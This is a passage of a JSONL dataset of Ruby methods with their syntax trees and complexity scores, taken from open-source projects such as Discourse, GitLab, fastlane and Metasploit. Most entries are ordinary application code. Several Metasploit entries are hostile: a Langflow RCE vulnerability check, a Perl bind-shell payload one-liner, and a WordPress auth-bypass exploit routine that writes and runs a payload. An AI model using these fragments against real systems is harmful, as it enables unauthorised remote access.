khánh\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[9]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Giỗ tổ Hùng Vương\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2017]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Giỗ tổ Hùng Vương\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2018]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[27]}]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"vi\"]}]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"hash\",\"children\":[]}]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}","id":"0797ea36-0774-4603-8e1e-566e46db60c8"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/fastlane_folder.rb","start_line":28,"raw_source":"def self.swift_folder_path\n      return File.join(self.path, 'swift')\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"swift_folder_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"path\"]},{\"type\":\"str\",\"children\":[\"swift\"]}]}]}]}","id":"fecf0f1b-4715-4595-b6f1-0501f66f0e97"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_representer.rb","start_line":47,"raw_source":"def initialize(model, current_user:, embed_links: false, timestamps: nil, query: nil)\n          @query = query\n          @timestamps = timestamps || query.try(:timestamps) || []\n\n          model = load_complete_model(model)\n\n          super(model, current_user:, embed_links:)\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]},{\"type\":\"kwoptarg\",\"children\":[\"embed_links\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"timestamps\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"query\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@timestamps\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamps\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"try\",{\"type\":\"sym\",\"children\":[\"timestamps\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[null,\"load_complete_model\",{\"type\":\"lvar\",\"children\":[\"model\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed_links\"]},{\"type\":\"lvar\",\"children\":[\"embed_links\"]}]}]}]}]}]}","id":"0fe0c76b-cf53-44c5-af2b-a403373cd5c0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/list_controller.rb","start_line":252,"raw_source":"def top_feed\n    discourse_expires_in 1.minute\n\n    @title = \"#{SiteSetting.title} - #{I18n.t(\"rss_description.top\")}\"\n    @link = \"#{Discourse.base_url}/top\"\n    @atom_link = \"#{Discourse.base_url}/top.rss\"\n    @description = I18n.t(\"rss_description.top\")\n    period = params[:period] || SiteSetting.top_page_default_timeframe.to_sym\n    TopTopic.validate_period(period)\n\n    @topic_list = TopicQuery.new(nil).list_top_for(period)\n\n    render \"list\", formats: [:rss]\n  end","complexity_score":23.55,"ast_json":"{\"type\":\"def\",\"children\":[\"top_feed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discourse_expires_in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"minute\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@title\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"title\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rss_description.top\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@link\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"str\",\"children\":[\"/top\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@atom_link\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"str\",\"children\":[\"/top.rss\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@description\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"rss_description.top\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"period\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"period\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"top_page_default_timeframe\"]},\"to_sym\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopTopic\"]},\"validate_period\",{\"type\":\"lvar\",\"children\":[\"period\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@topic_list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicQuery\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]},\"list_top_for\",{\"type\":\"lvar\",\"children\":[\"period\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\"list\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"formats\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"rss\"]}]}]}]}]}]}]}","id":"f659df34-89e3-40cb-bac2-8f49857c8858"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/langflow_unauth_rce_cve_2025_3248.rb","start_line":61,"raw_source":"def check\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/version')\n    })\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200\n\n    json_version = res&.get_json_document&.fetch('version', nil)\n    return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version\n\n    version = Rex::Version.new(json_version)\n    return Exploit::CheckCode::Unknown('Failed to get version.') unless version\n\n    return Exploit::CheckCode::Appears(\"Version #{version} detected. Which is vulnerable even if authentication is enabled.\") if version < Rex::Version.new('1.3.0')\n\n    # check if auto_login is enabled or not\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'api/v1/auto_login')\n    })\n    return Exploit::CheckCode::Appears(\"Version #{version} detected and authentication is disabled. Which is vulnerable.\") if res&.code == 200\n\n    Exploit::CheckCode.Safe(\"Version #{version} detected and authentication is enabled. which is not vulnerable.\")\n  end","complexity_score":36.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api/v1/version\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unexpected server reply.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"json_version\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Failed to parse version.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"json_version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Failed to get version.\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"1.3.0\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected. Which is vulnerable even if authentication is enabled.\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api/v1/auto_login\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected and authentication is disabled. Which is vulnerable.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"str\",\"children\":[\" detected and authentication is enabled. which is not vulnerable.\"]}]}]}]}]}","id":"99e579f7-f42f-4441-8c0d-3fbfe646beb6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/windows/bind_perl.rb","start_line":49,"raw_source":"def command_string\n    cmd = \"#{datastore['PerlPath']} -MIO -e \\\"while($c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\\\"\"\n\n    return cmd\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PerlPath\"]}]}]},{\"type\":\"str\",\"children\":[\" -MIO -e \\\"while($c=new IO::Socket::INET(LocalPort,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\",Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\\\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"99b6b06b-fa00-43b5-a777-a0cc21fd1f90"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example.rb","start_line":588,"raw_source":"def pending_fixed?\n          !!pending_fixed\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pending_fixed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pending_fixed\"]},\"!\"]},\"!\"]}]}","id":"422a374e-7c5a-4770-9022-3f57246d0c3f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/aws_instance_connect_command_shell_bind.rb","start_line":99,"raw_source":"def cleanup\n      super\n\n      ssh_connection.close rescue nil\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssh_connection\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"56e6c0e4-dd44-4915-9e47-56bb58885bc8"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/reindex_search.rb","start_line":77,"raw_source":"def rebuild_registered_search_handlers(limit: 10_000, indexer: SearchIndexer)\n      DiscoursePluginRegistry.search_handlers.each do |handler|\n        next unless handler[:enabled]&.call\n\n        unindexed_record_ids =\n          handler[:load_unindexed_record_ids].call(limit:, index_version: handler[:index_version])\n\n        if @verbose\n          puts \"rebuilding #{unindexed_record_ids.size} records for #{handler[:table_name]}\"\n        end\n\n        unindexed_record_ids.each do |id|\n          record = handler[:model_class].find_by(id: id)\n          if record\n            indexer.index(record, force: true)\n          else\n            puts \"↪ record #{id} not found\" if @verbose\n          end\n        end\n      end\n    end","complexity_score":30.85,"ast_json":"{\"type\":\"def\",\"children\":[\"rebuild_registered_search_handlers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"int\",\"children\":[10000]}]},{\"type\":\"kwoptarg\",\"children\":[\"indexer\",{\"type\":\"const\",\"children\":[null,\"SearchIndexer\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"search_handlers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"handler\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"enabled\"]}]},\"call\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"unindexed_record_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"load_unindexed_record_ids\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"lvar\",\"children\":[\"limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"index_version\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"rebuilding \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unindexed_record_ids\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" records for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table_name\"]}]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unindexed_record_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"handler\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"model_class\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"indexer\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@verbose\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"↪ record \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\" not found\"]}]}]},null]}]}]}]}]}]}]}","id":"76da7ada-d970-4a32-8214-fea7fbd9a5cd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/reports/test_failure_history.rb","start_line":24,"raw_source":"def recent_failures_count\n          ::Ci::UnitTestFailure.recent_failures_count(\n            project: project,\n            unit_test_keys: failed_junit_tests.keys\n          )\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"recent_failures_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"UnitTestFailure\"]},\"recent_failures_count\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit_test_keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_junit_tests\"]},\"keys\"]}]}]}]}]}","id":"65d4818a-a616-42f9-afd4-2483e1b1b936"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/exclusive_lease_helpers/sleeping_lock.rb","start_line":26,"raw_source":"def retried?\n        attempts > 1\n      end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"retried?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attempts\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"7134066d-e840-4ed1-afe8-98777afd8aa2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/trash_channel.rb","start_line":58,"raw_source":"def soft_delete_channel(guardian:, channel:)\n      channel.trash!(guardian.user)\n      DiscourseEvent.trigger(:chat_channel_trashed, channel, guardian.user)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"soft_delete_channel\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"channel\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"trash!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseEvent\"]},\"trigger\",{\"type\":\"sym\",\"children\":[\"chat_channel_trashed\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]}]}]}]}","id":"671cf900-9956-491c-ac8d-fcf66ca0d4e0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb","start_line":127,"raw_source":"def exploit\n    print_status(\"Bypassing auth for #{username} at #{full_uri}\")\n    unless (@cookie = auth_bypass).include?('wordpress_logged_in')\n      fail_with(Failure::NoAccess, \"Could not log in as #{username}\")\n    end\n\n    print_good(\"Successfully logged in as #{username}\")\n    write_and_exec_payload\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bypassing auth for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]},{\"type\":\"str\",\"children\":[\" at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[null,\"auth_bypass\"]}]}]},\"include?\",{\"type\":\"str\",\"children\":[\"wordpress_logged_in\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not log in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully logged in as \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_and_exec_payload\"]}]}]}","id":"19e2db8d-18df-4078-af04-aded5b080331"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_merge_request_title_regex_service.rb","start_line":45,"raw_source":"def project_regex\n        project.merge_request_title_regex\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"merge_request_title_regex\"]}]}","id":"bb639e09-ec7b-4686-b7c6-f1147fe84008"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_helper.rb","start_line":140,"raw_source":"def build_index_from_hash(keys, hash, record_class)\n    keys.map { |key| record_class.type_for_attribute(key.to_s).cast(hash[key]) }\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_index_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]},{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"record_class\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_class\"]},\"type_for_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]}]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"3b163dd4-248c-450c-9b6b-180b5ee91571"}
